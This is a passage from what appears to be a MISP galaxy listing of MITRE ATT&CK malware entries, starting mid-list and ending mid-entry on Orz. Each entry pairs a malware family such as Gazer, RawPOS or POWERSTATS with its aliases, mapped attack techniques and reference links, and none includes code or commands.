uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
Links |
http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf |
Gazer - S0168
[Gazer](https://attack.mitre.org/software/S0168) is a backdoor used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2016. (Citation: ESET Gazer Aug 2017)
The tag is: misp-galaxy:mitre-malware="Gazer - S0168"
Gazer - S0168 is also known as:
-
Gazer
-
WhiteBear
Gazer - S0168 has relationships with:
-
similar: misp-galaxy:malpedia="Gazer" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1004" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screensaver - T1180" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1096" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf |
PUNCHBUGGY - S0196
[PUNCHBUGGY](https://attack.mitre.org/software/S0196) is a backdoor malware used by [FIN8](https://attack.mitre.org/groups/G0061) that has been observed targeting POS networks in the hospitality industry. (Citation: Morphisec ShellTea June 2019)(Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)
The tag is: misp-galaxy:mitre-malware="PUNCHBUGGY - S0196"
PUNCHBUGGY - S0196 is also known as:
-
PUNCHBUGGY
-
ShellTea
PUNCHBUGGY - S0196 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Execution through Module Load - T1129" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1182" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html |
https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html |
RawPOS - S0169
[RawPOS](https://attack.mitre.org/software/S0169) is a point-of-sale (POS) malware family that searches for cardholder data on victims. It has been in use since at least 2008. (Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: Visa RawPOS March 2015) FireEye divides RawPOS into three components: FIENDCRY, DUEBREW, and DRIFTWOOD. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)
The tag is: misp-galaxy:mitre-malware="RawPOS - S0169"
RawPOS - S0169 is also known as:
-
RawPOS
-
FIENDCRY
-
DUEBREW
-
DRIFTWOOD
RawPOS - S0169 has relationships with:
-
similar: misp-galaxy:malpedia="RawPOS" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
Links |
http://www.kroll.com/CMSPages/GetAzureFile.aspx?path=%5Cmedia%5Cfiles%5Cintelligence-center%5Ckroll_malware-analysis-report.pdf&hash=d5b5d2697118f30374b954f28a08c0ba69836c0ffd99566aa7ec62d1fc72b105[http://www.kroll.com/CMSPages/GetAzureFile.aspx?path=%5Cmedia%5Cfiles%5Cintelligence-center%5Ckroll_malware-analysis-report.pdf&hash=d5b5d2697118f30374b954f28a08c0ba69836c0ffd99566aa7ec62d1fc72b105] |
http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf |
https://usa.visa.com/dam/VCOM/download/merchants/alert-rawpos.pdf |
Daserf - S0187
[Daserf](https://attack.mitre.org/software/S0187) is a backdoor that has been used to spy on and steal from Japanese, South Korean, Russian, Singaporean, and Chinese victims. Researchers have identified versions written in both Visual C and Delphi. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)
The tag is: misp-galaxy:mitre-malware="Daserf - S0187"
Daserf - S0187 is also known as:
-
Daserf
-
Muirim
-
Nioupale
Daserf - S0187 has relationships with:
-
similar: misp-galaxy:malpedia="Daserf" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses |
Truvasys - S0178
[Truvasys](https://attack.mitre.org/software/S0178) is first-stage malware that has been used by [PROMETHIUM](https://attack.mitre.org/groups/G0056). It is a collection of modules written in the Delphi programming language. (Citation: Microsoft Win Defender Truvasys Sep 2017) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)
The tag is: misp-galaxy:mitre-malware="Truvasys - S0178"
Truvasys - S0178 is also known as:
-
Truvasys
Truvasys - S0178 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
Links |
PUNCHTRACK - S0197
[PUNCHTRACK](https://attack.mitre.org/software/S0197) is non-persistent point of sale (POS) system malware utilized by [FIN8](https://attack.mitre.org/groups/G0061) to scrape payment card data. (Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)
The tag is: misp-galaxy:mitre-malware="PUNCHTRACK - S0197"
PUNCHTRACK - S0197 is also known as:
-
PUNCHTRACK
-
PSVC
PUNCHTRACK - S0197 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html |
https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html |
Starloader - S0188
[Starloader](https://attack.mitre.org/software/S0188) is a loader component that has been observed loading [Felismus](https://attack.mitre.org/software/S0171) and associated tools. (Citation: Symantec Sowbug Nov 2017)
The tag is: misp-galaxy:mitre-malware="Starloader - S0188"
Starloader - S0188 is also known as:
-
Starloader
Starloader - S0188 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
Links |
NETWIRE - S0198
[NETWIRE](https://attack.mitre.org/software/S0198) is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012. (Citation: FireEye APT33 Sept 2017) (Citation: McAfee Netwire Mar 2015) (Citation: FireEye APT33 Webinar Sept 2017)
The tag is: misp-galaxy:mitre-malware="NETWIRE - S0198"
NETWIRE - S0198 is also known as:
-
NETWIRE
NETWIRE - S0198 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
Links |
https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/ |
ISMInjector - S0189
[ISMInjector](https://attack.mitre.org/software/S0189) is a Trojan used to install another [OilRig](https://attack.mitre.org/groups/G0049) backdoor, ISMAgent. (Citation: OilRig New Delivery Oct 2017)
The tag is: misp-galaxy:mitre-malware="ISMInjector - S0189"
ISMInjector - S0189 is also known as:
-
ISMInjector
ISMInjector - S0189 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
Links |
TURNEDUP - S0199
[TURNEDUP](https://attack.mitre.org/software/S0199) is a non-public backdoor. It has been dropped by [APT33](https://attack.mitre.org/groups/G0064)'s [StoneDrill](https://attack.mitre.org/software/S0380) malware. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)
The tag is: misp-galaxy:mitre-malware="TURNEDUP - S0199"
TURNEDUP - S0199 is also known as:
-
TURNEDUP
TURNEDUP - S0199 has relationships with:
-
similar: misp-galaxy:malpedia="TURNEDUP" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
Links |
CCBkdr - S0222
[CCBkdr](https://attack.mitre.org/software/S0222) is malware that was injected into a signed version of CCleaner and distributed from CCleaner’s distribution website. (Citation: Talos CCleanup 2017) (Citation: Intezer Aurora Sept 2017)
The tag is: misp-galaxy:mitre-malware="CCBkdr - S0222"
CCBkdr - S0222 is also known as:
-
CCBkdr
CCBkdr - S0222 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1195" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1483" with estimative-language:likelihood-probability="almost-certain"
POWERSTATS - S0223
[POWERSTATS](https://attack.mitre.org/software/S0223) is a PowerShell-based first stage backdoor used by [MuddyWater](https://attack.mitre.org/groups/G0069). (Citation: Unit 42 MuddyWater Nov 2017)
The tag is: misp-galaxy:mitre-malware="POWERSTATS - S0223"
POWERSTATS - S0223 is also known as:
-
POWERSTATS
-
Powermud
POWERSTATS - S0223 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Mshta - T1170" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Component Object Model and Distributed COM - T1175" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
HummingBad - S0322
[HummingBad](https://attack.mitre.org/software/S0322) is a family of Android malware that generates fraudulent advertising revenue and has the ability to obtain root access on older, vulnerable versions of Android. (Citation: ArsTechnica-HummingBad)
The tag is: misp-galaxy:mitre-malware="HummingBad - S0322"
HummingBad - S0322 is also known as:
-
HummingBad
HummingBad - S0322 has relationships with:
-
similar: misp-galaxy:android="HummingBad" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Generate Fraudulent Advertising Revenue - T1472" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Manipulate App Store Rankings or Ratings - T1452" with estimative-language:likelihood-probability="almost-certain"
Links |
HOMEFRY - S0232
[HOMEFRY](https://attack.mitre.org/software/S0232) is a 64-bit Windows password dumper/cracker that has previously been used in conjunction with other [Leviathan](https://attack.mitre.org/groups/G0065) backdoors. (Citation: FireEye Periscope March 2018)
The tag is: misp-galaxy:mitre-malware="HOMEFRY - S0232"
HOMEFRY - S0232 is also known as:
-
HOMEFRY
HOMEFRY - S0232 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
Links |
SynAck - S0242
[SynAck](https://attack.mitre.org/software/S0242) is variant of Trojan ransomware targeting mainly English-speaking users since at least fall 2017. (Citation: SecureList SynAck Doppelgänging May 2018) (Citation: Kaspersky Lab SynAck May 2018)
The tag is: misp-galaxy:mitre-malware="SynAck - S0242"
SynAck - S0242 is also known as:
-
SynAck
SynAck - S0242 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Doppelgänging - T1186" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
Links |
https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/ |
https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging |
NDiskMonitor - S0272
[NDiskMonitor](https://attack.mitre.org/software/S0272) is a custom backdoor written in .NET that appears to be unique to [Patchwork](https://attack.mitre.org/groups/G0040). (Citation: TrendMicro Patchwork Dec 2017)
The tag is: misp-galaxy:mitre-malware="NDiskMonitor - S0272"
NDiskMonitor - S0272 is also known as:
-
NDiskMonitor
NDiskMonitor - S0272 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
Links |
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf |
NanHaiShu - S0228
[NanHaiShu](https://attack.mitre.org/software/S0228) is a remote access tool and JScript backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065). [NanHaiShu](https://attack.mitre.org/software/S0228) has been used to target government and private-sector organizations that have relations to the South China Sea dispute. (Citation: Proofpoint Leviathan Oct 2017) (Citation: fsecure NanHaiShu July 2016)
The tag is: misp-galaxy:mitre-malware="NanHaiShu - S0228"
NanHaiShu - S0228 is also known as:
-
NanHaiShu
NanHaiShu - S0228 has relationships with:
-
similar: misp-galaxy:tool="NanHaiShu" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Mshta - T1170" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf |
MacSpy - S0282
[MacSpy](https://attack.mitre.org/software/S0282) is a malware-as-a-service offered on the darkweb (Citation: objsee mac malware 2017).
The tag is: misp-galaxy:mitre-malware="MacSpy - S0282"
MacSpy - S0282 is also known as:
-
MacSpy
MacSpy - S0282 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1159" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188" with estimative-language:likelihood-probability="almost-certain"
Links |
AndroRAT - S0292
[AndroRAT](https://attack.mitre.org/software/S0292) is malware that allows a third party to control the device and collect information. (Citation: Lookout-EnterpriseApps)
The tag is: misp-galaxy:mitre-malware="AndroRAT - S0292"
AndroRAT - S0292 is also known as:
-
AndroRAT
AndroRAT - S0292 has relationships with:
-
similar: misp-galaxy:malpedia="AndroRAT" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
Links |
Orz - S0229
[Orz](https://attack.mitre.org/software/S0229) is a custom JavaScript backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065). It was observed being used in 2014 as well as in August 2017 when it was dropped by Microsoft Publisher files. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)
The tag is: misp-galaxy:mitre-malware="Orz - S0229"
Orz - S0229 is also known as:
-
Orz
-
AIRBREAK
Orz - S0229 has relationships with:
-
similar: misp-galaxy:malpedia="AIRBREAK" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
